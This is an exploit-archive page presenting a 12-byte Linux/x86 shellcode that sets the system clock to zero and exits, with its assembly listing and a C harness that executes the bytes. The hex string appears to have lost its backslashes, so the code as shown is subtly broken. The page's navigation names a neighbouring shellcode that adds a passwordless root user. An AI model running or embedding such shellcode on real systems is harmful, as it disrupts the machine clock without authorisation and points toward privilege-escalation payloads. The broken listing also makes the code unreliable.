[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 set system time to 0 and exit 12 bytes
# Published : 2006-11-17
# Author : Kris Katterjohn
# Previous Title : linux/x86 /sbin/ipchains -F 40 bytes
# Next Title : linux/x86 add root user r00t with no password to /etc/passwd 69 bytes


/* By Kris Katterjohn 11/18/2006
 *
 * 12 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *      push byte 25
 *      pop eax
 *      cdq
 *      push edx
 *      mov ebx, esp
 *      int 0x80
 *
 * ; exit()
 *
 *      inc eax
 *      int 0x80
 */

main()
{
       char shellcode[] = "x6ax19x58x99x52x89xe3xcdx80x40xcdx80";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2006-11-17]